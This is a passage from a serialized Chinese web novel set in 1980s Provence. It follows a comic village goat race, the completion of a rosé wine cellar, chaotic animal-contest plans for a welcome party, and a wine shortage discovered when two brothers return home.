某些骑师很幸运,他们的选手就在最外围,只需要将羊带离羊群就好,困难是如何‘劝说’将头埋在其他羊屁股里的选手乖乖听话。 这个时候就看谁的力量大了。 “快看啊,有人在和自己的羊拔河呐。”孩子们蹦蹦跳跳的喊起了加油,“1、2——1、2——” 有个瘦弱的小伙子显然无法赢下拔河比赛,想要通过聪明的大脑解决问题。 他装作一副深思的模样,趁羊不备,一个飞扑过去想要抱住羊脖子,用整个身体的力量将它控制住,但小羊一个灵活的跳跃,漂亮的闪躲过去,紧接着钻进了更加深入的地方。 “哈哈哈哈,这个人脸绿了,他要气死了!”围观的普罗旺斯人用当地方言和身边的人谈笑。 某些骑师则比较倒霉,想要抓住自己的羊,需要先解决中间的123456只羊。 他们企图通过呼喊名字来召唤自己的选手。 从温柔的耐心引导,到极致的诱惑,又到焦急的哄骗、再到理性的崩塌、愤怒的咆哮、疯狂的歇斯底里20公里外梅纳村的人都听到了,可偏偏喊不来羊。 “哎呀,这孩子喊吐了,快给他倒点酒压压。”一位热心的妇女看着趴在羊圈上干呕的某骑师笑的直不起腰。 有一位骑师人狠话不多。 喊,喊不来。 跨,跨不过去。 抓,更是抓不到. 那就来点实际的。 他一个单膝跪地,直接把全场人干懵了,连经验丰富的解说员都被整不会了: “这位骑师是要现场求婚吗?求婚对象是他的——” ‘羊’字还没来及出口,这位骑师又放下了另一只膝盖,趴在地上‘蹭蹭蹭’连过了好几只羊的裆。 解说员笑不活了,一句专业的点评说不出来,只能对着话筒‘hiahiahia’的笑,这些笑声通过博尼约街道上的几十个大喇叭,飘到了这座小村庄的头上。 但这就是此刻博尼约的真实写照——无论你在哪个地方,无论你看的是哪位骑师,还是哪只羊,都能逗得人捧腹大笑。 “上帝,我爱死博尼约了。” “我也爱死山羊赛跑大赛了。” “我要看的就是这些人与羊之间‘无效沟通’的滑稽场面,你们加把劲啊!” 业余的就是业余的。 罗南也跟着在羊圈里哈哈大笑,主要是这个vvvvip位置实在是看的太沉浸,笑的没有力气去抓羊。 “什么嘛,我还以为多专业,不还是跟我一样到了‘喊爹都没用’的时刻。”罗南愉悦的想着。 他以为只有呼呼一羊习惯目中无人。 今天这么一看,原来没有一个人能够真实的将羊‘拿捏’住。 而和罗南同状态的骑师居然有好几个,哥几个默契的站得远远的观看,就差拍手叫好了。 笑着笑着,他们偶尔还会互相一眼,心照不宣的聊两句。 “第一年参加吧?” “对对,第一年参加,你也是?” “是啊,我也是第一年参加,今年可太混乱了,咱们还是等这些专业的抓完再去抓吧。” “我也是这样想——” 话音未落,vvvvip区域的骑师们慌张的四散而逃。 因为在混乱的人羊大战中,有一席白影如出膛炮弹一般向他们飞来。 “快躲开,羊受惊了!要撞人了!!”不知道是谁喊了一句,一整个羊群里的人全部停下了动作。 他们定睛望去,发现那枚炮弹打的正是20人里最业余的那个。 “那个骑马的,快闪开啊,它撞过去了!” 罗南一时慌了神。 理性告诉他得赶紧躲开,可感性又告诉他——呼呼应该不是来攻击他的,它今天那么安静,那么黏人,怎么会来撞人呢? 最终感性战胜了理性,罗南扶着身后的围栏站在原地,但出膛的呼呼居然一点速度没降。 距离拉近,罗南看清了呼呼的状态,那双血红的眼眶和它平时跟马赛打架时一模一样。 “咩咩咩咩咩咩——”炮弹发出生气的嚎叫。 这次罗南居然听明白了: 你为什么不来找老子?不知道我今天缺乏安全感吗?? “我正要去呢!”罗南做出防御的架势,同时挪动了步伐,向着一侧移动。 但呼呼再生气也不会做出撞罗南的举动啊,它在距离很近的地方也拐弯了。 人羊合一在下注资料中可能是一句美谈。 但放在此时就是灾难。 呼呼和罗南选择了同一个躲避方向——一羊一人还是相遇了。 人已经吓傻。 但羊比人有用多了,在千钧一发之际,呼呼选择了钻裆。 罗南今天穿的是骑马装,灯芯绒的马裤老紧了,根本劈不开腿。 呼呼钻裆失败,在一个腾空过后,罗南直接坐到羊背上‘跑’起来了。 有科学家说,人在遇到紧急危险时会进入‘时间感知扭曲’状态,也叫‘时间膨胀效应’,就是大脑开启‘自保’模式,眼前的事物像《骇客帝国》里的经典画面一样无限放慢。 而罗南此刻就进入了这种神奇的状态,高高腾起的过程中,他看到羊圈外的孩子们羡慕的昂起脑袋,看到游客一脸惊恐的张大嘴巴、连嗓子里的小舌头都在震动,还看到街道两侧的本地人因为太过兴奋将手里的啤酒挥向对方. 疯狂,无尽的疯狂。 现场解说员在类似猪一样的笑声中,断断续续的大喊: “我们的6号选手真的是‘骑’师,他居然骑上了羊,看来今天的这身打扮是早有预谋啊!!” 罗南的骑羊举动无疑是普罗旺斯人最想在山羊赛跑大赛上看到了画面,欢呼声比当红明星亲临还要疯狂。 感谢这些欢呼的人,罗南终于回到现实。 超载的脑袋里只有一个想法——他得赶紧下去! 普罗旺斯的山羊体型矮小,成年公羊只有60-70公斤。 它们确实能够受接近或超过自身体重的额外负重,但弗雷迪说过,山羊腰椎细长,持续受压可能导致永久性脊椎损伤,而罗南的体重肯定大于呼呼的安全承重。 他可不想呼呼在抓羊环节受伤,因为今天的博尼约要属于卢尔马兰人! 还好羊圈的大小和罗南的体重限制了呼呼的速度,罗南只在呼呼的背上待了两三秒钟,它就停下。 此时那几个看热闹的骑师终于控制不住给罗南送去了掌声: “太给我们这些业余选手涨脸了,伙计你之前是骑马的吧?那个上背的动作太娴熟了。” 罗南没有时间和难兄难弟寒暄,刚一只脚落到地上,便弯腰抓起了呼呼的绳子,第二只脚落地的同时,一人一羊已经弹射而出,虽然趔趄几步,却赢得满堂喝彩: “开门,我抓到羊了,放我们出去!” “女士先生们,第一位抓到羊的骑师出现了!6号骑师用动作电影般的漂亮身法抓住了他的伙伴,并第一个进入赛道,让我们为他加油!”解说员坐正了身体,终于进入了状态,“现在我宣布,第143届山羊赛跑大赛正式开始!让我们准备狂欢吧!” 抓羊环节确实是正赛前的巨大阻碍。 但那不代表抓到羊,之后就没有其他阻碍了。 大部分羊都受到了惊吓,虽然离开了羊圈也纹丝不动,茫然的看着四周。 极少数天性活跃的羊还记得自己的使命,但路途上孩子手里的面包、路边的野花、餐桌上的生菜,或者摄像机都会成为它们的‘绊脚石’。 这次比赛还出现了一名和呼呼类似的选手。 它的骑师历经重重磨难,终于将羊抓住,可这个可爱的小家伙刚一出来就欢快的向着相反的方向跑,主人怎么拦都拦不住,随即加入了三四个大汉,一群人手忙脚乱的拦截才成功。 “喏,就是那个大胡子,就是他公报私仇,把呼呼的历史成绩写成了那样。”罗南站在终点附近的咖啡厅露台上,悠闲的用头盔扇风,“不过他今年学聪明了,在第一时间出手阻拦,不用在博尼约找三个小时。” 佐伊并排站在罗南的身边: “显然他的公报私仇失败了,你的赔率是第一,还轻松的拿下了今年的冠军,听弗雷迪说这在往前可不常见。” 没有任何悬念。 依靠抓羊环节的突出表现,罗南和呼呼以压倒性的优势赢得了这次山羊赛跑大赛。 围着博尼约主干路跑一圈只有3公里多,经过长期专项备战,一人一羊完成的速度非常快。 罗南都带着呼呼要撞线了,还有几个倒霉的骑师和羊在羊圈里玩‘你摸不到我’的可笑游戏呢。 “诶,对了,弗雷迪呢?”罗南回头,发现身后都没什么人了。 这些卢尔马兰人都去哪儿了? 佐伊指了一个方向,笑着说: “你冲线后,这些人便没有了看后面比赛的心情,已经堵到组委会门口问什么时候可以取钱了。” 托罗南的福。 今天卢尔马兰人狠狠赚了一笔。 虽然最终的赔率很低,但在大家下注的时候,赔率还是很不错的。 在开盘时就下注的皮埃尔等人,买了几百,赚了好几千。 不过赚的最多的,还是更晚下注的罗南和佐伊,他们两个赚了好几万法郎。 罗南此刻的开心只有很小一部分是因为赚到了钱,他更加为今天的气氛开心,为和好朋友们欢聚一堂而开心。 赢了比赛,大家赚了钱,这绝对值得庆祝一番,最主要的是感谢大家到现场支持。 罗南转身下楼: “我去找老板,让他中午别接待其他客人了,我请大家吃饭。” 赚的最多的他,有义务买单! 可当罗南找到这间咖啡厅的老板,他却歉意的说: “抱歉啊罗南先生,我这里今天被人包下来了。” “包了一整天?”罗南皱着眉毛问。 重大活动期间,包场的情况时有发生,但是包一整天的情况并不常见。 主要是包下一间规模不小的咖啡厅一整天需要不少钱。 罗南正在琢磨是哪个大款抢在了他的前面,面前出现了一个女孩。 “你好啊,罗南。”那女孩主动和罗南打起了招呼。 罗南觉得有些奇怪。 他确定没有见过这个女孩,可又觉得有些面熟,这种割裂的感觉太奇怪了。 那女孩笑着指了指门外: “老板说感谢你让她赚了不少,她请卢尔马兰人在博尼约玩一天,吃喝全管。” 罗南随着她的手指看过去,发现在门外正在随着音乐扭动肢体的人群里,有一个人的背影格外的熟悉——金色头发,茶色墨镜,嘴上有细密胡子,一身的大牌。 罗南惊讶的瞪大眼睛: “夏洛——” “对,夏洛!”和罗南有过一面之缘的夏洛特助手阻罗南说出全名,并挥手告别,“我们走啦,老板要去参加露天舞会,她喜欢法兰多尔舞。” 罗南笑着摇了摇头。 对啊,今天卢尔马兰人里赚的最多的是夏洛特。 她才是那个最大的赢家! 罗南转身上楼通知佐伊这个好消息,刚一离开便有一个小男孩骑羊经过,他身后还跟了好几个同龄的小孩。 “该我骑了,你已经骑了好几圈了。” “我才不要下去,那个人帅死了。” “是啊,那人像是大英雄一样,之后我也要骑羊上下学。” 罗南告诉大家,有一位神秘嘉宾包下了这间咖啡厅,大家可以免费吃喝到傍晚。 村民们一点都不关心这位神秘嘉宾是谁,只想在这个各种意义上大喜的日子里没有休止的狂欢! 夕阳西下,博尼约早就没有了比赛的痕迹。 咖啡厅露台上亮起串灯,空气中混合着葡萄酒和陶瓮里炖煮的牛肉香。 几十个卢尔马兰人拿着酒杯,跳起欢快的法兰多尔舞,让笑声和歌声延续到星光满天。 “那里是谁啊,他们跳了一整天了。” “不知道是谁,只知道是一群卢尔马兰人。” “好开心的一群卢尔马兰人” 请假条 今天朋友过生日,出来小酌,请假一天。 《1986:我的普罗旺斯幸福生活》请假条 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 《1986:我的普罗旺斯幸福生活》爱曲小说全文字更新,牢记网址: 第526章 没有快乐,那就制造快乐 山羊赛跑大赛的余温持续了四五天还没有散去,走在卢尔马兰的街道上,还是能听到参与其中的村民给遗憾错过的村民讲,那天有多么多么的有意思。 有意思的不止是比赛和赚到了钱,还有大家聚到一起疯狂的情形。 就连罗南都久久没有从博尼约的余韵中脱离,好几次躺下,眼前就出现了羊圈里那些骑手的可笑样子。 不过罗南的注意力很快被吸引走了。 因为斯特斯加的酒窖验收完成,可以投入使用。 在卢尔马兰政府告知斯特斯加的酒窖可以提前竣工投入时,包括罗南在内的许多人都持‘悲观’态度。 别看粉红酒卖不上什么价,还总被本地人瞧不起但储藏粉红酒的酒窖,比储存红葡萄酒和白葡萄酒的酒窖要求更高,建设起来更加困难。 粉红酒是所有葡萄酒中最‘娇贵’的类型之一,这种酒对避光和防止氧化等条件的要求达到了极致。 以最常见的三种葡萄酒红、白粉为例,不同酒品类在搭建酒窖时的核心目标完全不一样。 红葡萄酒酒窖的设计核心是‘减缓酒成熟’,越陈年的越好,因此更加注重酒窖环境的稳定性。 除了极高端的白葡萄酒有一定陈年属性,绝大部分白葡萄酒喝的是新鲜口感,设计酒窖会考虑于‘易取拿’。 而粉红酒几乎没有陈年潜力,有人说‘粉红酒是葡萄酒中的新鲜浆果’,酒窖的作用是提供最精心的呵护。 要多么精心的呵护呢? 先说温度。 普罗旺斯红葡萄酒的酒窖温度通常设定在12°C - 18°C,其他地区因环境不同,温度范围还会上下调整,因为红酒储存的关键是让酒缓慢成熟,发展出更复杂和多样的香气。 白葡萄酒有尝鲜的特色,因此酒窖温度更低,以保存果香和酸度,普罗旺斯白葡萄酒庄的酒窖通常会将温度设置在7°C - 13°C这个范围里,但更加高纬度的白葡萄酒产区有可能会把储存温度再下降个3-5度,只要能起到低温保鲜所用,温度范围还是很广的。 而需要极度保鲜的粉红酒对酒窖温度有非常严苛的要求,无论在哪个产区、也无论纬度多少,都只能在9°C - 12°C这几度范围内,高了低了,都有氧化风险,那会破坏原本的浪漫粉色,向无色或者棕色发展。 除了对温度有极致的要求,粉红酒酒窖对避光性的要求也是最高的,红葡萄酒和白葡萄酒害怕紫外线,粉红酒什么光线都怕,光照会导致粉红酒褪色,随即产生光击味、影响清爽的口感。 这三种酒对氧气的态度也不相同。 微量氧气通过木塞缓慢渗透入红葡萄酒,有助于其陈年。 白葡萄酒可以稍微进行一些氧化,那不会破坏颜色,只会增添一点新的口感层次。 但粉红酒严格杜绝氧化,以保持其明亮的色泽和爽脆口感。 卢尔马兰没人参与过粉红酒酒窖的搭建,每一步都是试探着来,再加上如此严苛的环境要求酒窖比预期提前近一个月完工,依靠的完全就是特奥那张嘴和他手里的小皮鞭子。 别管对特奥的性格或者其他方面有什么不满,在这一点上,没人能挑得出毛病,甚至还得对他美言几句呢,尤其是酒窖验收完成、可以正式投入使用那天。 “特奥这家伙走的不是时候啊,如果他在场,今天高低得给他颁个奖,你看看这酒窖建的,太是那么回事了。” “是啊,特奥这个大功臣怎么能不在呢?你别说,今天还有点想他了。” “特奥和卢卡斯很快就要回卢尔马兰了,想他等见到他直接说啊。” 事实上卢卡斯在海边的市场开拓工作早就结束,但海边是粉红酒最大的售卖渠道,居民对粉红酒的接受程度和普罗旺斯其他地方比也是最高的。 接下来的开拓阵地会移动向阿维尼翁和教皇新堡这一片难啃的骨头,恐怕比较难有建树。 市场开拓还包含一部分配货的工作,为了让特奥快速了解工作内容并熟悉,卢卡斯才又在尼斯附近待了几天,不过很快他们哥俩就会回来。 实事求是的讲,虽然特奥才走没几天,但罗南也挺想他的。 这是他在卢尔马兰认识的最早的一批农夫朋友,而且这人太有意思了。 验收完,罗南站在挑不出任何毛病、和之前的设计思路一模一样的酒窖里,心想等特奥回来必须得好好犒劳一下他,监工这件事干的真漂亮。 当然了,一起犒劳的还有卢卡斯。 这家伙几乎每隔几天就会送回来一个好消息,海边那几个城市的市场越来越大了。 哥俩都要犒劳,还一起回来,要不然就‘凑’到一起? 某天中午,罗南把几个斯特斯加的伙计聚集到了一起: “我想给卢卡斯和特奥办一个‘欢迎仪式’,最好有一个好玩的主题,你们有什么好的点子吗?” 普罗旺斯人最喜欢的无外乎就是吃吃喝喝。 哥俩从海边回来,肯定有许多见闻和牛皮,罗南打算给他们创造一个舒服的放松环境。 不过最好能比普通的聚餐多一点特殊性。 博尼约山羊赛跑大赛,让罗南非常喜欢一帮人聚在一起喝酒聊天的气氛。 正好借着这个‘欢迎会’的机会,组织斯特斯加的员工们聚餐,地点就放在他家里。 聚餐也是为了接下来做准备。 酒窖建成,罗南很快就要和杰罗姆进行库存的清算,这代表斯特斯加的粉红酒业务正式转移到卢尔马兰.是时候把大家聚到一起打打气了。 康奈尔举起手,积极的发言: “卢卡斯最关心的一定是和你合伙搞的那片松露实验林,我们把‘欢迎会’的主题设计成松露怎么样?” 罗南疯狂摇头,一脸恐惧: “那片实验林能不能成功还是未知,不确定的东西太多了,松露主题只会让卢卡斯加重焦虑,还是算了吧。” 自打罗南在卢尔马兰买下了新的森林做松露实验,根本不用看到松露或者听到这个单词,只是往那片森林的方向看一眼.就会出现焦虑和忐忑的情绪。 10公顷虽然是经过‘缜密’计算得来的,但罗南内心最深的地方,还是有个小人不停的念叨——你和去年的卢卡斯有什么不同?这不就是在赌吗? 罗南现在非常能理解卢卡斯去年的状态.可不能设置松露主题。 不过罗南和去年的卢卡斯有一点不同。 面对巨大压力和焦虑,卢卡斯选择独自一人默默承受。 而罗南选择加入到费尔南教授的实验团队中去,通过系统带来的知识,缓解这份不安的情绪。 是否提供帮实际性的帮助现在还不得而知,但也不能一直等着干着急啊。 教授的准备已经做的差不多了,在七月初就将带领学生来到卢尔马兰,那之后,罗南要分出一部分精力放到森林那边去。 卢卡斯给大家留下的印象是什么都不缺,还经常花钱请大家喝酒、非常阔气,想要投其所好比较困难,那么只能把目标放到他的弟弟特奥的身上了。 亨利最了解他的‘死对头’: “特奥那个四肢发达头脑简单的家伙除了喜欢车,就是喜欢枪,要不然就是些带有机械属性的东西,俗得很。” 罗南第一反应又是摇头: “如果现场有车或者枪,特奥喝多了一定会开车出去发疯或者开枪你信不信?我可不想把欢迎会开成欢送会,欢送特奥被带去警察局。” 斯特斯加有一个叫杜马的伙计更靠谱一些: “卢卡斯对玛格丽特像对待亲女儿一样,特奥家里养了驴、兔子、狗和猫,他们兄弟俩好像都挺喜欢小动物的。” 康奈尔拍了下手: “卢卡斯还说要送安娜小马,他们全家都喜欢动物。” 这次罗南没有着急摇头,只是表情不太好的反问: “动物主题的欢迎会?这有点抽象,我没有什么画面。” “怎么会没有画面?”杜马的情绪突然激动起来,“就是山羊赛跑大赛时的那种气氛!” 很显然,杜马的博尼约余韵还没有消散。 而和杜马一样仍在回味的人不在少数。 亨利在一旁冷哼,也不知道是在可惜,还是在庆幸: “特奥没有参与到博尼约的活动一定后悔死了,不过这个家伙活该。” 从博尼约回来有几天了,可这些卢尔马兰人张嘴闭嘴还是那一天的事情,可见玩的有多嗨皮。 又有几个人发言,全部是赞同这个主题的,这使得罗南的表情更加扭曲: “那我们要怎么做?办一场卢尔马兰的山羊赛跑大赛?” 普罗旺斯人的无厘头和疯狂绝对不是罗南那个正常的小脑瓜能理解的,在他毫无头绪之际,卢尔马兰人已经想出十几个点子来延续快乐了。 “我们没必要学博尼约,可以赛猪或者赛狗,骑驴也行,这几个动物在卢尔马兰很常见,一定会有很多人报名!” “或者我们举办一个‘青蛙选美’大赛怎么样?我在博尼约看到许多店铺在宣传羊腿怎样怎样,你们不觉得青蛙的腿最好看吗?就比谁抓到的青蛙腿最长!” “青蛙不好抓啊,小溪附近的青蛙都被孩子们抓光了,附近又没有其他水源,这个参与门槛太高了不行,要我说就比赛狗,卢卡斯和特奥家都有狗,等他们回来,一下车二话不说直接让两个人和他们的狗去参加赛比赛,哈哈,我已经可以想象出特奥一脑袋问号、一边骂娘,一边又想拿下第一的可笑样子了。” “这也不太好吧.卢卡斯怎么能舍得让玛格丽特去比赛?” “卢卡斯不是买了一只新狗吗?” 卢卡斯什么都不缺,特奥喜欢的东西又没有办法利用上,再加上一时间拿不出其他的主题虽然罗南非常不情不愿,但还是默许了这个动物主题的欢迎会,不过他脑袋里是一丁点画面都没有。 “那这样吧,这个事儿你们几个来筹划和准备,需要钱了去找佐伊申请,走斯特斯加的账目,那天大家放下手里的事,好好聚一聚。” “你就放心吧,绝对办好!” 第二天,罗南开车去了阿维尼翁。 结算完剩余的粉红酒,杰罗姆就要正式的退休去马德里养老,在那之前,他要帮罗南解决第二个气囊压榨机问题。 一旦他走了,罗南就找不到门路买又好又便宜的机器了。 等了将近半年,市场上只出现了一个二手的气囊压榨机,这一次罗南只能买新的。 其实气囊压榨机的话题,两个人在几个月前就聊过——如果没有合适的二手,要买新的。 而负责任的杰罗姆也早早的看好了合适又便宜的东西,只等罗南来买。 两个人在约定的时间,于约定的地点碰头,不到二十分钟,罗南就付出去了15万法郎,将机器拿下。 “真舍不得你走啊。”在机械店门口,罗南发自肺腑的说。 酿酒设备几乎是杰罗姆白送他的,两个最关键的器械气囊压榨机也是杰罗姆帮忙找的,建酒窖时买的温控系统等等杰罗姆也给罗南出了许许多多的力。 一想到这个家伙就要离开,罗南是真心不舍得。 每次提到离开的话题,杰罗姆便是一幅幅嘻嘻哈哈的样子: “六个月还没有稀释完情绪吗?我以为你们都接受这个事实了。” 杰罗姆是在年初的那次粉红酒爱好者聚会上宣布要将斯特斯加易手并退休的消息,算算时间,的确过去半年了。 “月底的聚会你得去吧?”罗南关心的问。 伊内斯已经向成员们发去了通知,时隔好几个月的聚会将在这个月底恢复,罗南知道那个时间杰罗姆还没有离开普罗旺斯。 杰罗姆摇头: “不去了。” “为什么不去?”罗南追上去开车的杰罗姆,接下来他们要去教皇新堡做库存交接。 杰罗姆背对罗南,露出了一个意味深长的笑容: “上次聚会已经告过别了,我可不想和你们离别第二次。” 那会让我更加舍不得你们.和这片土地啊。 “嘿,罗南一定想不到,我们给了他这么大一个惊喜!”距离卢尔马兰5公里的D53号公路上,特奥坐在卢卡斯的副驾驶位,幸灾乐祸的摇头晃脑。 卢卡斯嘴里叼着香烟,表情轻松的问特奥: “哪个惊喜,是我们带回来了意外的大单子,还是在约定时间之前回来了?” “都有啊,肯定都有!我第一次出去就带回来了大单子,这不是惊喜吗?”特奥的眼睛始终盯着前方,希望快点看到熟悉中的卢尔马兰城堡,“我走了这么久,罗南一定想我了,哈哈,我要偷偷藏到收银台下面,等他不注意的时候吓他一跳!” 卢卡斯笑着说: “你是不是忘了,我们提前回来是为了帮我收拾房子,好让艾米丽和吉拉尼舒服的住进去。” 艾米丽是卢卡斯的妻子,吉拉尼是卢卡斯的儿子。 他们都将跟随卢卡斯一起从马赛搬回卢卡马兰生活。 为了让妻儿能够快速适应这里的生活节奏,卢卡斯决定先提前回来做做准备。 这同样也是因为特奥对业务的上手速度非常快,快于卢卡斯的预期,还有他们最近在海边拿到了一个大生意,想要亲自告诉罗南。 当然,还有另外一个原因——幼稚的特奥想要给罗南一个惊喜。 “没有忘,等我见完罗南就去帮你。”特奥兴奋的喊,“看到城堡了,我们到卢尔马兰了!” 这一路上,特奥的情绪主基调始终是兴奋,他想要快点回到家乡。 可车子真的驶入卢尔马兰,他又兴奋不起来了只剩下满脑子的问号。 越靠近村中心范围,车子和行人越多,车速也越慢,这使得卢卡斯和特奥可以看清两侧的许多细节。 “阿尔皮在干什么?怎么把它的猪牵到路上了?” “那是胡尔诺德和他的儿子吧?他们是在骑驴吗.” “等等,卢卡斯开慢点,我好像眼花看到一个小孩脑袋上顶着一条鱼跑了过去?是我眼花吗?” “该死的,卢尔马兰怎么了?”特奥无语的把一整个脑袋探了出去。 下一秒,一道惊呼声在他身后出现,听起来像是康奈尔。 “该死的,特奥,你怎么提前回来了?”康奈尔举着两只青蛙瞪大眼睛。 第527章 伙计,惊喜变惊吓了! 其实不止卢卡斯和特奥见到卢尔马兰这幅‘风貌’吓了一跳。 同一天,罗南进入村子都大吃了一惊。 库存清算时遇到了一些小问题,这几天他频繁往来教皇新堡和杰罗姆碰头,又带着伙计们去拉货,没怎么关心那个‘欢迎会’的事。 今天稍微闲下来了一些,他从斯特斯加回来,去餐厅吃午饭,看到村里的情况‘辣’得他又睁不开眼睛了。 随处可见的狗、马、驴、猪等动物对罗南的冲击不是最大的,他已经有一些心理准备。 只看那天几个家伙跃跃欲试的样子,罗南就知道,未来几天卢尔马兰注定要变成‘疯狂动物城’,毕竟是疯狂的普罗旺斯人嘛。 ‘辣’得他睁不开眼睛的,是街头的几张宣传标语。 小吃街的一角,树立起了一个不算特别大,但很显眼的广告牌子,上面写着——卢尔马兰第一届骑猪大赛预选赛将于今天下午2点举行,预赛比赛地点位于卢尔马兰泉源径5号杜马家门口的小广场,只有通过预赛的选手,才有资格参与结下来举行的正式比赛。 整张通知的背景,是一张罗南骑在呼呼背上的照片,罗南的屁股微微腾空,一脸的惊悚,两只手不受控制的向前伸出,五指呈爪状。 “我像是被魔鬼附身了”这是罗南看到这张照片的点评。 本地人最常去的杂货店门口,也出现了一张新的牌子——请有意参与‘青蛙选美’大赛的村民,带着自己的青蛙去康奈尔家报名,报名时间截止到6月30日,过时不候。 这张广告牌的背景同样是罗南,情景是罗南牵着呼呼站在第一名的领奖台上,只不过这张照片里呼呼的脑袋被人为的改成了一只胖嘟嘟的青蛙头。 整体构图变成,罗南略压低身体,一脸笑容的靠在‘青蛙’脑袋上,不知道别人看到作何感想,反正罗南看着感觉挺惊悚的谁会贴着青蛙拍照啊?还是那么大个的?? 罗南一路走到商业街的门口,在粉红酒博物馆门口的广告牌子前面站了最多的村民。 “我觉得这个比赛不错,赛狗多有意思,村里几乎家家有狗,报名的一定多,而且狗跑的快啊,说不定真能办出山羊赛跑大赛的意思。” “我家有狗,也有驴,赛狗和骑驴的比赛我都报名了,听说第一名的奖励是10瓶粉红酒呢。” “但我听说,最终只有一个比赛能举办,这里面大部分最后都无法成行?” “你要是这样说的话,我更要报名赛狗了,你看啊,确定比赛的权利在罗南的手里,罗南家没有驴、没有猪,更没有青蛙,只有狗,他一定会选赛狗比赛。” “我也这样认为,你看看,他一手抱着小黑,一手抱着马赛,笑得多开心。” 罗南本来不想凑过去看,只想做个小透明默默的路过,但听到这几个村民的聊天内容,他又忍不住过去瞧瞧。 在他的记忆中,从来没有一手搂着小黑,一手搂着马赛拍过什么照片,曾经尝试着拍过几次,每次只能拍到一抹马赛的灰影,这家伙根本不会老实坐着拍全家福。 待罗南进去看了一眼,差点没有笑死。 这张照片的拍摄场景也是在几天前的博尼约,原图是罗南在露台上一手搂着弗雷迪,一手搂着阿兰,他们手里应该还有一沓子法郎,目的是为了庆祝买羊赚钱了。 不知道是哪个人才把弗雷迪和阿兰替换成了德牧和其他灰色刚毛犬的照片,根本不是什么小黑和马赛,而且这个抠图做的非常粗糙,人和狗的样子都能看清,原本三个人手里的钞票上用粗色字体压上了几个关键信息。 报名时间:截止到6月30日晚上8点整 报名地点:亨利家 报名接待人:丽莎 “自己胡闹就算了,怎么还把家属也动员起来了?”罗南表情要多难看有多难看。 罗南一进入餐厅就四处找人: “哈基米来了?” 婚纱照冲洗需要一些时间,佐伊也想给同学哈基米更多的机会,于是邀请他去山羊赛跑大赛给罗南跟拍,顺便交接婚纱照。 那天哈基米可是狠狠的工作了,从白天拍到晚上,出图无数,这次洗照片不需要太多时间,那天他说过几天会来卢尔马兰给罗南送照片。 结果罗南自己还没有看到这组照片是什么样子,就先让康奈尔那几个家伙拿去‘玩’了。 这个年代还没有发明出ps技术,但专业的摄影师可以通过其他手段做一些简单的图像处理,别看那些合成后的照片痕迹非常明显,但要耗费不少时间,罗南猜一定是哈基米在卢尔马兰找到新的副业了。 “早上来送了照片,但不一会就走了。”冯珍知道哈基米。 那天看到罗南和佐伊的婚纱照,她特意向这位摄影师送去了感谢——拍的可太好了。 “怎么没多待会儿?”罗南问。 他还想请哈基米喝两杯呢。 这几次见面都没有太好的机会多聊两句,每次见面哈基米几乎都在工作。 冯珍咧着嘴摇头: “阿勒希尔想要组织一个‘看谁的鱼憋气最久’的比赛,他爸爸给了哈基米150法郎,让他给儿子做一张广告图,哈基米接到活儿立马回去了,说这个图不好做,需要时间。” “阿勒希尔?”罗南对这个名字很陌生,“这不是斯特斯加的伙计。” “嘿呦,你可真敢想啊。”冯珍惊的瞪大眼睛,“阿勒希尔今年才11岁,你请他当员工不怕被告啊?” 罗南突然对上号了: “阿勒希尔,老阿尔皮的小孙子,他爸爸在梅纳村卖鱼?他怎么也组织起来比赛了?” 冯珍吐出一口瓜子片,摇着脑袋说: “托你的福,村民们看到这么多人在自发组织活动,也加入了进去,现在组织活动的人多了去了,卢尔马兰这几天乱了套了” “吃饭了。”罗天海过来喊了一句。 冯珍离开收银台: “今天中午吃什么?” “吃田鸡腿。” “怎么又吃田鸡腿啊,连吃三顿了,你看我的腿像不像青蛙?” “那能怎么办?康奈尔举行的那个‘美蛙大赛’,许多青蛙还没开始比就死了,康奈尔只能把它们送来怎么你难道想吃鱼?” “哎哟,不了不了不了,我现在看到鱼也害怕,这几天卢尔马兰死了得有一百条鱼吧,走到哪儿都是一股子鱼腥味儿。” 罗南无奈的叹气。 真是愁人啊。 吃完整整两盆青蛙腿,罗南认为是时候给这场闹剧画个句号了。 别欢送会还没开始,人就先疯了。 他找人把康奈尔叫来,让他通知大伙儿——欢迎会不要主题了,赶紧停下他们的各种预赛和宣传,还卢尔马兰一片清净。 这已经不是惊喜而是惊吓了! 康奈尔哭丧着脸说: “肯定没有欢迎会了啊,特奥和卢卡斯已经回来了,而我们连比赛是什么内容还没定。” 他懊恼的从口袋里掏出一只青蛙: “都怪杜马和亨利,不肯同意我的‘美蛙大赛’,我一赌气就说那多筹备几个,看看最后哪个最有意思,耽误了进度.要不然,我的大长腿现在都可以开始备赛了。” “让你的大长腿离我远点,谢谢。”罗南嫌弃的躲远了一些。 哪个正经人把青蛙放口袋里啊? 这康奈尔可真是个人才。 不过罗南不想在这个话题上浪费时间了,问他: “特奥和卢卡斯回来了?现在在哪儿?” 康奈尔用大长腿的小爪子,指了一个方向: “去斯特斯加了,说去看看酒窖。” 罗南在斯特斯加的大门,碰到了正在老吉普车旁边抽烟的卢卡斯和特奥。 事实上罗南才刚从斯特斯加的酒窖回去,算算时间应该正好和这哥俩错开。 罗南一下车就张开了手臂走向特奥: “你们怎么提前回来了?我还想组织和欢迎会给你们惊喜呢!” 本以为三个人久别重逢的画面会充满着兴奋和感动,没想到特奥见到罗南居然有些冷漠。 他很敷衍的抱了一下罗南,语气里带着一点犹豫: “这个惊喜可太大了,大到我和卢卡斯都不知道怎么办了。” 特奥是小孩子性格,一点点小事就经常闹情绪,罗南不知道他是怎么了,但他知道特奥的情绪很快就会过去,之后他换了个方向,又岔着胳膊抱向卢卡斯: “哈哈,我已经让康奈尔他们停下那些活动了,咱们就痛痛快快的喝一顿,不搞别的了。” 卢卡斯没有去接罗南的拥抱: “我们说的惊喜不是那些动物。” 他用夹着烟的手指身后: “罗南,酒窖里怎么只有这么一点酒?你跟我说过货品危机,但现在危机有点太大了.” 卢卡斯和特奥在海边签了一个大单子,一回来就直奔斯特斯加的酒窖,想要安排送货问题。 可这一看不得了啊,硕大的酒窖里只有很小的区域放着酒瓶子,大部分地方都是空的。 而负责仓库的伙计确认,这些就是全部了。 罗南曾不止一次提醒卢卡斯,和客户聊的时候,一定要记得斯特斯加的‘货品危机’。 今年他们开拓了许多新市场,早就超过了去年杰罗姆的预期,他去年没有酿这么多酒因此货品一定无法供应到年底,这一点要提前说明。 可当卢卡斯和特奥进酒窖看,发现他们清算来的货绝对撑不到9月。 罗南把胳膊放下,给卢卡斯解释: 